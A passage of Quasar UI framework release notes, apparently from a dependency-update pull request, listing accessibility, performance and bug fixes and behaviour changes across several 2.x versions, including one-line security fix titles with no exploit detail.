popup's trigger -> `aria-expanded`/`aria-controls` stay in sync without apps mirroring the open state by hand - fix(QMenu,QDialog): render menu portals inside their `aria-modal` dialog -> menus anchored in a modal QDialog (a QSelect's listbox included) were pruned from the accessibility tree and never announced ([#&#8203;17078](https://github.com/quasarframework/quasar/issues/17078)) - fix(QSelect): align the popup with the ARIA combobox pattern -> the `listbox` role wraps only the options, which now carry `aria-setsize`/`aria-posinset` ([#&#8203;17344](https://github.com/quasarframework/quasar/issues/17344)) - fix(QSelect): keep a readonly select focusable and announced -> it used to emit no focusable element at all - fix(QSelect): expose a disabled select instead of dropping its control - fix(QSelect,QTable): give the rows-per-page selection an accessible name ([#&#8203;9689](https://github.com/quasarframework/quasar/issues/9689)) - fix(QInput,QSelect,QField): expose error state to assistive tech ([#&#8203;18323](https://github.com/quasarframework/quasar/issues/18323)) - fix(QFile): expose error state to assistive tech ([#&#8203;17306](https://github.com/quasarframework/quasar/issues/17306)) - fix(use-field): drop the error ARIA references when no message renders -> `<q-input error hide-bottom-space>` pointed `aria-errormessage`/`aria-describedby` at a missing id - fix(QTree): tickable nodes trapped the keyboard -> tickboxes leave the Tab order and Space toggles them from the node header ([#&#8203;17603](https://github.com/quasarframework/quasar/issues/17603)) - fix(QTree): make every visible node keyboard-reachable, disabled ones included -> arrow navigation used to skip every leaf in a tree without selection - fix(QTree): don't hijack keys typed into interactive header content ([#&#8203;17790](https://github.com/quasarframework/quasar/issues/17790)) - fix(QTree): demote a stale roving Tab stop -> re-expanding could leave two Tab stops - fix(QTree,useRefocusTarget): never let focus land in an `aria-hidden` control ([#&#8203;17810](https://github.com/quasarframework/quasar/issues/17810)) - fix(QCarousel): give the prev/next arrows an accessible name -> new `carousel` lang-pack section, translated across all packs ([#&#8203;7423](https://github.com/quasarframework/quasar/issues/7423)) - fix(QDrawer): let ESCAPE dismiss the drawer in its modal states, under exactly the conditions the backdrop accepts a click ([#&#8203;7423](https://github.com/quasarframework/quasar/issues/7423)) - fix(QItem): attach pointer listeners only on interactive items -> WCAG checkers flagged the no-op handlers on a non-clickable QItem ([#&#8203;7423](https://github.com/quasarframework/quasar/issues/7423)) - fix(QStepper): announce a disabled step header as an unavailable button instead of inert text - fix(QRating): ArrowDown/ArrowUp move focus in the documented radio-group direction - fix(QSlider,QRange): say "no value" instead of announcing a limit as one -> a null QSlider announced the minimum, an untouched QRange the whole range as selected - fix(QSlider,QRange,QImg): emit valid ARIA in three edge cases - fix(QIcon): keep the ligature text out of the accessibility tree ([#&#8203;18084](https://github.com/quasarframework/quasar/issues/18084)) - fix(a11y): give the scrollable regions keyboard access -> QMarkupTable and QTable's horizontally scrolling middle are Tab stops, so a table wider than its container is no longer pointer-only - fix(ui): drop spec-invalid ARIA from QToggle, QPagination, QChip, QFab, QImg, QLinearProgress, QTimeline and QBtn - fix(types): keep the screen-reader lang keys optional -> a third-party language pack written before them kept compiling #### Performance - perf(QTree): the tree was rebuilt around lazy rendering, per-node render isolation and incremental state -> collapsed subtrees mount on first expansion instead of being pre-rendered behind `v-show` (22.6k-node tree, dev mode: 2196ms/299,713 DOM elements -> 31ms/169), a state change re-renders only the affected nodes, and the monolithic O(N) meta rebuild became layered derivation that recomputes only on its own triggers. Per-key state of keys that left the model is pruned, and `getTickedNodes()`/`getExpandedNodes()` use keyed lookups - perf(QSlideTransition): start animating immediately instead of 100ms later -> every QTree, QExpansionItem and QStep slide loses 100ms of idle latency, and `duration <= 0` short-circuits to an immediate settle - perf(ui): a broad mount-cost sweep -> `useQuasar()` resolves through the instance's global properties (\~0.6ns/read vs \~37ns), size styles are module-cached, and trivial computeds were flattened out of the render path across \~70 files (QBtn, QItem family, the checkbox family, QChip, QTab/QRouteTab, QList, spinners and 12 bulk-mounted leaves, plus use-dark/use-align/use-form/use-transition/use-router-link/use-split-attrs) - perf(ui): every component of that sweep was then re-benchmarked in a real browser, and the computeds whose removal cost more than it saved were restored - perf(QIcon): module-level parse cache, no per-instance computeds - perf(date): compile `formatDate` masks once and cache per mask - perf(QScrollArea): allocation-free `@scroll` payload assembly - perf(ui): allocation-free `isKeyCode`, loop-based `sumSize`, regex-free `hexToRgb` and allocation-free mask token testers - perf(QInput/QSelect/QTab): test the cheap event flags before `shouldIgnoreKey()` #### Fixes - fix(QSelect): allow cancelling keyboard actions ([#&#8203;18507](https://github.com/quasarframework/quasar/issues/18507)) - fix(QInput): allow cancelling mask keyboard actions ([#&#8203;18515](https://github.com/quasarframework/quasar/issues/18515)) - fix(QEditor): allow cancelling the CTRL keyboard shortcuts -> `@keydown.ctrl.b.prevent` could observe the key but not stop QEditor toggling bold - fix(QTab/QRouteTab): allow cancelling the keyboard actions -> the event was emitted after the tab had already acted on it - fix(QEditor): commit a link only when the user asks for it -> opening the link toolbar used to wrap the selection in an `<a href="https://">` straight away, leaving a broken link behind if you walked away ([#&#8203;18289](https://github.com/quasarframework/quasar/issues/18289)) - fix(QEditor): keep the link editor open when the command sits in a toolbar dropdown ([#&#8203;17920](https://github.com/quasarframework/quasar/issues/17920)) - fix(ui): add validation for the q-editor link - fix(QMenu): keep popups open on clicks inside a fullscreen-detached child ([#&#8203;18512](https://github.com/quasarframework/quasar/issues/18512)) - fix(QMenu): follow the anchor through a fullscreen detach -> the menu stayed open at stale coordinates, painted over by the fullscreen element ([#&#8203;18513](https://github.com/quasarframework/quasar/issues/18513)) - fix(useFullscreen): keep focus and caret through the detach/restore moves -> a caret placed in a QEditor before entering fullscreen was lost ([#&#8203;17843](https://github.com/quasarframework/quasar/issues/17843)) - fix(QMenu/QTooltip): follow an anchor still moving during the enter transition -> the popup no longer lands at a stale spot and snaps into place at transition end - fix(QDialog/QMenu): don't throw on focus when the inner ref holds a non-Element stub ([#&#8203;12780](https://github.com/quasarframework/quasar/issues/12780)) - fix(QDialog/QTooltip): resolve fall-through attrs on the render path -> a dynamic `:class` on an open QDialog never reached the portal root, and a dynamic `id` went stale on QTooltip - fix(QDialog): stop fighting the iOS scroll position while the viewport is zoomed - fix(QScrollArea): stop trapping fixed-positioned children -> a `position: fixed` descendant anchored itself to the scroll area and was clipped there ([#&#8203;12109](https://github.com/quasarframework/quasar/issues/12109)) - fix(QSelect): display falsy (non-null) selected values with `fill-input` ([#&#8203;17763](https://github.com/quasarframework/quasar/issues/17763)) - fix(QInput): restore the textarea inline styles when `autogrow` is toggled off ([#&#8203;17535](https://github.com/quasarframework/quasar/issues/17535)) - fix(QFab): stop forwarding the FAB's own props to the trigger button -> every FAB shipped an anchor carrying invalid DOM attributes like `direction="up"` and `labelposition="right"` - fix(ui): QFab/QFabAction internal top/bottom label was never stacked -> an internal `label-position="top"/"bottom"` laid icon and label out in a row instead of a column - fix(QColor): drop the dead `hideSelection` prop from the alpha slider - fix(QTree): align dense virtual scroll root leaves with the nested layout - fix(ui): QVirtualScroll SSR-rendered padding mismatching the client's -> no more "Hydration style mismatch" warning in every SSR app rendering a QVirtualScroll - fix(ui): Morph SSR hydration class false-positive - fix(ui): Screen plugin -> honor the documented `config > screen > bodyClasses` key on SSR, which never emitted its body class into server-rendered HTML - fix(ui): widen `useQuasar()`'s `inject()` fallback past the no-instance case - fix(ui): actually print the UMD missing-Vue guidance error -> it was dead code behind a cryptic "Cannot read properties of undefined" throw #### Other - Test infrastructure: SSR hydration coverage for every component and directive (with a Quasar-config and icon-set install axis), a hydration sweep over the playground, a UMD suite running the built bundles under both global Vue builds, a cross-engine regression sweep page, and an `[Accessibility]` category in the Specs workflow #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.24.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.24.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.23.5...quasar-v2.24.0) #### Changes No breaking changes, no runtime changes. This release makes quasar more tree-shakable and pairs with the new faster toolchain. - Tree-shaking: added a sideEffects declaration and /*#**PURE***/ annotations on all component/directive/plugin definitions. A minimal import { QBtn } from 'quasar' can now shake down to 36 KB (10 KB gzip) under per-file imports. - New dist/transforms/sass-variables.json: precomputed parse of the Sass variables file, powering targeted variable injection in [@&#8203;quasar/vite-plugin](https://github.com/quasar/vite-plugin) v2 (only the variables a style block uses get injected — much faster Sass compilation). - Pairs with [@&#8203;quasar/vite-plugin](https://github.com/quasar/vite-plugin) v2.0.0 and [@&#8203;quasar/app-vite](https://github.com/quasar/app-vite) v3.4.0 (both require quasar ^2.24.0): production builds up to 3x faster, dev cold starts up to \~1.8x faster, byte-identical output. Plugin 1.x keeps working too. #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.23.5`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.5) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.23.4...quasar-v2.23.5) #### Fixes - fix(QTime): default value to match docs - fix(QRange): handle "null" as model value - fix(QDate): events rendered no marker unless event-color was also set - fix(QDate): undefined model rejected by the validator - fix(useField): the control slot's field key never existed - fix(QFile): file/selected slot scopes "ref" value - fix(QEditor): a toolbar dropdown crashed the render on an unknown option token - fix(QTree): setTicked() did nothing unless ticked was v-model bound - fix(morph): cancel() crashed when reversing a non-tween morph - fix(uploader-core): remove dead branch - fix(morph): spacers pointed at missing keyframes - fix(QUploader): factory() leaked the upload thread - fix(useValidate): a misspelled pattern rule silently passed validation - fix(QUploader): no "failed" event when the URL was missing - fix(QTable): scrollTo() was a no-op without virtual-scroll-sticky-size-start - fix(QTable): non-virtual scrollTo() threw on a non-numeric index - fix(QCheckbox;QToggle;QRadio): \[regression] label wrapped components do not work as expected anymore [#&#8203;18499](https://github.com/quasarframework/quasar/issues/18499) - fix(TouchPan;TouchSwipe): stop shielding the page from pointer events after the mouse gesture ended [#&#8203;18496](https://github.com/quasarframework/quasar/issues/18496) #### Notable behaviour changes - Validation: a misspelled string rule now fails instead of silently passing ([`b67ea77`](https://github.com/quasarframework/quasar/commit/b67ea7785), [`843a8c7`](https://github.com/quasarframework/quasar/commit/843a8c7f2)) Affects all components using rules (QInput, QSelect, QField, QFile, QDate, QTime, ...). Previously, a string rule that doesn't match any embedded validation pattern (e.g. rules: \[ 'emial' ] instead of 'email') was silently skipped — the field validated as if the rule wasn't there. Such a rule now logs a console.error and fails validation (like any message-less rule, with no error message displayed). Action needed: if a field in your app suddenly refuses to validate and the console shows Unknown validation pattern rule: "...", fix the rule name. The old behavior was accepting any input through the typo. - QDate: event markers now render without event-color ([`9101b16`](https://github.com/quasarframework/quasar/commit/9101b1636)) Previously, setting events without also setting event-color rendered no marker at all. Markers now render with the default styling (the secondary brand color), as documented. If you had events set and were (unknowingly) relying on the markers being invisible, days matching events will now show a marker. - QDate / QTime: model-value now defaults to null ([`e75b65e`](https://github.com/quasarframework/quasar/commit/e75b65e70), [`db1df05`](https://github.com/quasarframework/quasar/commit/db1df0569)) Passing an explicitly undefined model (e.g. v-model="myDate" before myDate is initialized) no longer triggers a Vue prop-validation warning — it now resolves to null ("no value selected"), matching the documented String | null | undefined type and the pattern QSlider already uses. Omitting the prop entirely still warns as a required prop. No action needed unless you were watching for that console warning. - QUploader: [@&#8203;failed](https://github.com/failed) now fires when the upload URL is missing or invalid ([`7a45734`](https://github.com/quasarframework/quasar/commit/7a4573418)) Previously, an invalid/unset url only logged a console error and marked the files as failed — the [@&#8203;failed](https://github.com/failed) event never fired, so programmatic error handling couldn't react. The event now fires with the documented { files, xhr } payload (an XHR that was never sent, so xhr.status is 0). If you have a [@&#8203;failed](https://github.com/failed) listener, it will now also receive this case. - QTree: setTicked() now works without v-model:ticked too ([`edfb46a`](https://github.com/quasarframework/quasar/commit/edfb46ac6)) The public setTicked() method (and tickboxes in uncontrolled usage) previously did nothing unless ticked was bound with v-model. It now updates the internal state, mirroring how setExpanded() already behaved. Controlled usage (with v-model:ticked) is unchanged. #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.23.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.23.3...quasar-v2.23.4) #### Fixes - fix(position-engine): [#&#8203;16167](https://github.com/quasarframework/quasar/issues/16167) QMenu/QTooltip never appear in Firefox when their content uses flexbox ([#&#8203;18468](https://github.com/quasarframework/quasar/issues/18468)) - fix(EventBus): support reserved event names ([#&#8203;18479](https://github.com/quasarframework/quasar/issues/18479)) - fix(date): escape custom locale names ([#&#8203;18481](https://github.com/quasarframework/quasar/issues/18481)) - fix(runSequentialPromises): normalize invalid concurrency ([#&#8203;18480](https://github.com/quasarframework/quasar/issues/18480)) - fix(QDialog): [#&#8203;13395](https://github.com/quasarframework/quasar/issues/13395) keep focus inside a child moved out by fullscreen ([#&#8203;18474](https://github.com/quasarframework/quasar/issues/18474)) - fix(QTable): [#&#8203;10445](https://github.com/quasarframework/quasar/issues/10445) separator borders leak into tables rendered in slots ([#&#8203;18495](https://github.com/quasarframework/quasar/issues/18495)) - fix(QMenu,QDialog): [#&#8203;15598](https://github.com/quasarframework/quasar/issues/15598) [#&#8203;17081](https://github.com/quasarframework/quasar/issues/17081) closing an overlay scrolls a virtual-scroll list by one header height ([#&#8203;18473](https://github.com/quasarframework/quasar/issues/18473)) - fix(ui): don't scroll when moving focus to blur/refocus targets - fix(QInfiniteScroll): reverse mode scrolls by a whole batch on load when CSS scroll anchoring is active [#&#8203;17848](https://github.com/quasarframework/quasar/issues/17848) [#&#8203;18476](https://github.com/quasarframework/quasar/issues/18476) - fix(date): extractDate() now returns an Invalid Date instead of a misleading valid-looking date when the input cannot be parsed ([#&#8203;18478](https://github.com/quasarframework/quasar/issues/18478)) - fix(QInput): defer masking during IME composition ([#&#8203;16618](https://github.com/quasarframework/quasar/issues/16618), [#&#8203;16629](https://github.com/quasarframework/quasar/issues/16629)) ([#&#8203;18424](https://github.com/quasarframework/quasar/issues/18424)) - fix(QCarousel): negative autoplay does not respect the panel direction - fix(QCheckbox;QToggle;QRadio): only inject the native input when it can be submitted - fix(QPagination): glossy prop not being used correctly - fix(QVirtualScroll): don't crash after the missing-slot error - fix(preventDraggable): make the already-applied guard effective ##### Behavior change: date.extractDate() and invalid input Previously, extractDate() always constructed a valid Date, even when the input didn't match the mask or contained impossible values. Failures were silently normalized -- extractDate('not a date', 'YYYY-MM-DD') returned Jan 1 1900, 2024-02-30 rolled over to Mar 1, and out-of-range time components wrapped around (24:00 became 00:00, 13:60 became 13:00). Now these inputs return an Invalid Date object. The function signature and return type are unchanged, but code that never checked validity will propagate NaN-based dates instead of wrong-but-valid ones. Check results with: ```js const parsed = date.extractDate(input, 'YYYY-MM-DD') if (date.isValid(parsed)) { /* safe to use */ } // or: Number.isNaN(parsed.getTime()) ``` Valid input prefixes still parse — extra text after the masked portion is ignored, so extractDate('2024-02-29T13:05:06Z', 'YYYY-MM-DD') still works. QDate and QTime are also stricter about model values with out-of-range time components (e.g. 24:00 with an HH:mm mask). QTime now shows its empty --:-- state instead of a silently wrapped time, and QDate (with a time-bearing custom mask only) treats such values as unparseable -- no day appears selected and the calendar opens at the default view. Valid model values are unaffected. #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.23.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.23.2...quasar-v2.23.3) #### Security - fix(ui): bound SSR User-Agent parsing #### Fixes - feat+fix(date): extra second param (utc?: boolean) for daysInMonth(); correct UTC month ends and locale cache ([#&#8203;18453](https://github.com/quasarframework/quasar/issues/18453)) - fix(date): accept negative epoch in extractDate X/x masks ([#&#8203;18443](https://github.com/quasarframework/quasar/issues/18443)) - fix(patterns): accept rgba alphas with a trailing zero ([#&#8203;18444](https://github.com/quasarframework/quasar/issues/18444)) - fix(use-panel): terminate goToPanelByOffset when walking below index 0 ([#&#8203;18445](https://github.com/quasarframework/quasar/issues/18445)) - fix(slider): ignore a non-positive markers prop ([#&#8203;18446](https://github.com/quasarframework/quasar/issues/18446)) - fix(slide-transition): do not orphan the fallback timer ([#&#8203;18447](https://github.com/quasarframework/quasar/issues/18447)) - fix(use-panel): do not apply the RTL swipe flip when vertical ([#&#8203;18448](https://github.com/quasarframework/quasar/issues/18448)) - fix(QSelect): cancel a pending input-value emit when setting a new one ([#&#8203;18449](https://github.com/quasarframework/quasar/issues/18449)) - fix(QBtn): release the submit keydown guard on cleanup ([#&#8203;18451](https://github.com/quasarframework/quasar/issues/18451)) - fix(QInput): make blur() cancel a focus() queued behind the portal wait flag ([#&#8203;18452](https://github.com/quasarframework/quasar/issues/18452)) #### Other (potential breaking change) - feat+perf(Platform): remove support for very old platforms like blackberry and playbook #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.23.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.2) Lots of community fixes included, especially from Evan Chan ([@&#8203;evnchn](https://github.com/evnchn) ). Thanks all for contributing! #### Fixes - fix(ui): account for Android safe area insets (new prop framework.config.cordova/capacitor: androidStatusBarPadding (boolean) ([#&#8203;18425](https://github.com/quasarframework/quasar/issues/18425)) - fix(format): capitalize('') should not throw ([#&#8203;18426](https://github.com/quasarframework/quasar/issues/18426)) - fix(patterns): reject calendar-invalid month/day in the date rule ([#&#8203;18427](https://github.com/quasarframework/quasar/issues/18427)) - fix(date): correct getWeekOfYear DST adjustment (minutes vs hours) ([#&#8203;18428](https://github.com/quasarframework/quasar/issues/18428)) - fix(debounce): re-arm the leading edge after cancel() in immediate mode ([#&#8203;18429](https://github.com/quasarframework/quasar/issues/18429)) - fix(portal): guard removeGlobalNode against untracked elements ([#&#8203;18430](https://github.com/quasarframework/quasar/issues/18430)) - fix(EventBus): prevent once() firing twice on a re-entrant emit ([#&#8203;18431](https://github.com/quasarframework/quasar/issues/18431)) - fix(TouchPan): reference bindings.value in updated hook, not undeclared value ([#&#8203;18432](https://github.com/quasarframework/quasar/issues/18432)) - fix(morph directive): resolve object-form binding in getSSRProps ([#&#8203;18438](https://github.com/quasarframework/quasar/issues/18438)) - fix(escape-key): keep ESC armed across interleaved key events while held [#&#8203;18433](https://github.com/quasarframework/quasar/issues/18433) - fix(Dialog): keep array-valued plugin options as arrays when merging on update() [#&#8203;18434](https://github.com/quasarframework/quasar/issues/18434) - fix(useSplitAttrs): read the current vnode each update, not a stale setup capture [#&#8203;18435](https://github.com/quasarframework/quasar/issues/18435) - fix(Notify): use notif.multiLine (not multiline) in the auto-group key [#&#8203;18436](https://github.com/quasarframework/quasar/issues/18436) - fix(BottomSheet): apply action.classes in grid mode (was action.class) [#&#8203;18437](https://github.com/quasarframework/quasar/issues/18437) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.23.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.23.0): /1 [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.22.0...quasar-v2.23.0) > \[!IMPORTANT] > If you are using RTL, you might want to update your postcss.config.js on the postcss-rtlcss options. Import `{ Mode }` from `postcss-rtlcss/options` and assign `{ mode: Mode.Override }` to the postcss-rtlcss options. > 2.23.1 is a repackage and publish due to an npm issue. #### New - feat(ui): new composable -> useAnimationFrame() #### Fixes - fix(QFab): keep actions physically placed under RTL to prevent overlap ([#&#8203;18413](https://github.com/quasarframework/quasar/issues/18413)) - fix(QMenu): don't close popups shielded by a modal QDialog ([#&#8203;18091](https://github.com/quasarframework/quasar/issues/18091)) ([#&#8203;18412](https://github.com/quasarframework/quasar/issues/18412)) - fix(QCarousel): preserve scroll position after exiting fullscreen ([#&#8203;18215](https://github.com/quasarframework/quasar/issues/18215)) ([#&#8203;18411](https://github.com/quasarframework/quasar/issues/18411)) - fix(QFab): keep action order physical under RTL ([#&#8203;18419](https://github.com/quasarframework/quasar/issues/18419)) - fix(css): emit override-mode RTL so nested dir subtrees don't double-apply ([#&#8203;18420](https://github.com/quasarframework/quasar/issues/18420)) - fix(QLinearProgress): fix reverse direction under subtree RTL ([#&#8203;18421](https://github.com/quasarframework/quasar/issues/18421)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.22.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.22.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.21.4...quasar-v2.22.0) > \[!IMPORTANT] > If you will be using the new SSG mode with Quasar CLI, you will need to upgrade to this version. #### Security fixes - fix(ui): prevent extend prototype pollution - fix(ui): secure SSR meta serialization #### Other fixes - fix(ui): align runtime public surface behavior ([#&#8203;18379](https://github.com/quasarframework/quasar/issues/18379)) - fix(ui): clean up deferred lifecycle work ([#&#8203;18383](https://github.com/quasarframework/quasar/issues/18383)) - fix(ui): align form control behavior ([#&#8203;18385](https://github.com/quasarframework/quasar/issues/18385)) - fix(ui): improve SSR hydration safety ([#&#8203;18382](https://github.com/quasarframework/quasar/issues/18382)) - fix(ui): harden overlay focus lifecycle ([#&#8203;18381](https://github.com/quasarframework/quasar/issues/18381)) - fix(ui): improve keyboard accessibility ([#&#8203;18380](https://github.com/quasarframework/quasar/issues/18380)) - fix(ui): harden QTable interactions ([#&#8203;18386](https://github.com/quasarframework/quasar/issues/18386)) - fix(ui): align RTL interaction behavior ([#&#8203;18384](https://github.com/quasarframework/quasar/issues/18384)) - fix(QSlideItem): preserve pending action side ([#&#8203;18403](https://github.com/quasarframework/quasar/issues/18403)) - fix(QDialog): restore scroll after URL metadata changes ([#&#8203;18406](https://github.com/quasarframework/quasar/issues/18406)) - fix(QInput): preserve focused value with v-model.trim ([#&#8203;18402](https://github.com/quasarframework/quasar/issues/18402)) - fix(QCarousel): initialize navigation state on render ([#&#8203;18401](https://github.com/quasarframework/quasar/issues/18401)) - fix(ui): harden QUploader state handling ([#&#8203;18397](https://github.com/quasarframework/quasar/issues/18397)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.21.4`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.21.4) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.21.3...quasar-v2.21.4) #### Changes - fix(ui): table pagination range labels for LTR languages ([#&#8203;18378](https://github.com/quasarframework/quasar/issues/18378)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.21.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.21.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.21.2...quasar-v2.21.3) #### Changes - fix(ui): HasSsrOrSsg defaults to SSR branch for non-SSR apps ([#&#8203;18356](https://github.com/quasarframework/quasar/issues/18356)) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.21.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.21.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.21.1...quasar-v2.21.2) #### Changes - feat(ui): prepare types for upcoming SSG mode #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.21.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.21.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.21.0...quasar-v2.21.1) #### Changes - fix+perf(QDialog): css instead of js approach to fix page scroll loss functionality after closing QDialog in Safari (macOS) [#&#8203;18275](https://github.com/quasarframework/quasar/issues/18275) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.21.0`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.21.0) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.20.3...quasar-v2.21.0) #### Changes - feat(QTable): export getCellValue(colName,row) on the instance - feat(lang): new language pack "lb" - feat(ui): integrate lang audit into the build system - feat(ui): integrate icon set audit into build system - feat(ui): json api build system -> best effort method to catch undeclared component methods - fix(ui): icon-set type has non-existent svg-mdi-v3 & svg-mdi-v4 - fix(ui): add missing type for clone() util - fix(QTooltip): guard MutationObserver against detached innerRef ([#&#8203;18316](https://github.com/quasarframework/quasar/issues/18316)) - fix(ui): Audit and align UI language packs ([#&#8203;18339](https://github.com/quasarframework/quasar/issues/18339)) - fix(lang): az-Latn -> lang native name - fix(lang): eo -> tree.noData should be tree.noNodes - fix(lang): fi -> unused pullToRefresh definitions - fix(lang): fr -> tree.noData should be tree.noNodes - fix(lang): hi -> lang native name - fix(lang): it -> tree.noData should be tree.noNodes - fix(lang): kur-CKB -> unused date.singleDay - fix(lang): lt -> lang native name - fix(lang): ms-MY -> lang native name - fix(lang): ms -> date.months translation - fix(lang): ug -> missing pagination - fix(lang): correct Norwegian (nb-NO) table.selectedRecords + minor fixes ([#&#8203;18334](https://github.com/quasarframework/quasar/issues/18334)) - fix(lang): lv -> date.months translation - fix(lang): ms-MY -> date.headerTitle and date.firstDayOfWeek - fix(lang): my -> wrongly being used for Malaysia; translated to actual lang - fix(lang): uk -> date.days translation - fix(lang): correct Japanese (ja) mistranslations in editor/tree labels ([#&#8203;18336](https://github.com/quasarframework/quasar/issues/18336)) - fix(iconSet): themify -> remove unused carousel.thumbnails #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.20.3`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.20.3) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.20.2...quasar-v2.20.3) #### Changes - fix(TouchPan): glitch in getChanges() which breaks js flow [#&#8203;18337](https://github.com/quasarframework/quasar/issues/18337) #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.20.2`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.20.2) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.20.1...quasar-v2.20.2) #### Changes - fix(QDrawer): swipe-to-open gesture broken on mobile (onOpenPan guard condition inverted) [#&#8203;18331](https://github.com/quasarframework/quasar/issues/18331) - fix(portal): avoid focus tampering while in the wait state [#&#8203;18333](https://github.com/quasarframework/quasar/issues/18333) - feat(ui): small tweaks to further modernize code - feat(ui): re-organize UMD #### Donations Quasar Framework is an open-source MIT-licensed project made possible due to the **generous contributions** by [sponsors and backers](https://github.com/sponsors/rstoenescu). If you are interested in supporting this project, please consider the following: - [Becoming a sponsor on Github](https://github.com/sponsors/rstoenescu) - [One-off donation via PayPal](https://paypal.me/rstoenescu1) ### [`v2.20.1`](https://github.com/quasarframework/quasar/releases/tag/quasar-v2.20.1) [Compare Source](https://github.com/quasarframework/quasar/compare/quasar-v2.20.0...quasar-v2.20.1) #### Fixes - fix(QInput): type="number" label overlap [#&#8203;18326](https://github.com/quasarframework/quasar/issues/18326) - fix(QDialog): accessibility warning on backdrop [#&#8203;18314](https://github.com/quasarframework/quasar/issues/18314) - fix(portal): do not allow 